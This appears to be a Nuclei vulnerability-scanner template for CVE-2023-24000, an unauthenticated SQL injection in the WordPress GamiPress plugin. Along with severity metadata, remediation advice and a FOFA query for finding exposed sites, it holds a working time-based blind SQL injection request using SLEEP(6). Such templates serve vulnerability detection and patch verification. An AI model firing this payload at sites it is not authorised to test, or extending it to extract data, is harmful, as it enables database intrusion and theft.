id: CVE-2023-24000

info:
  name: WordPress GamiPress <= 2.5.7 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The GamiPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.5.7 due to insufficient escaping on the user supplied parameter '$qv[$field_id]' and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of GamiPress, version 2.5.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24000
    epss-score: 0.2117
    epss-percentile: 0.95748
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/gamipress/"
  tags: cve,cve2023,wordpress,wp-plugin,gamipress,sqli,wp,vkev

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/wp/v2/gamipress-logs?trigger_type[]=test')%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(6)))x)%20AND%20('a'='a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'len(body) == 2'
          - 'status_code == 200'
          - 'contains(body, "[]")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a004730450220155ee6ca63e22a51f35e4fd1358e97bdc2f3984f31163a9ede900ab665269e4e022100fd17ea354d730345e739151560cc7e440bea90b4fd75fd92aff0e0142a2318dd:922c64590222798bb761d5b6d8e72950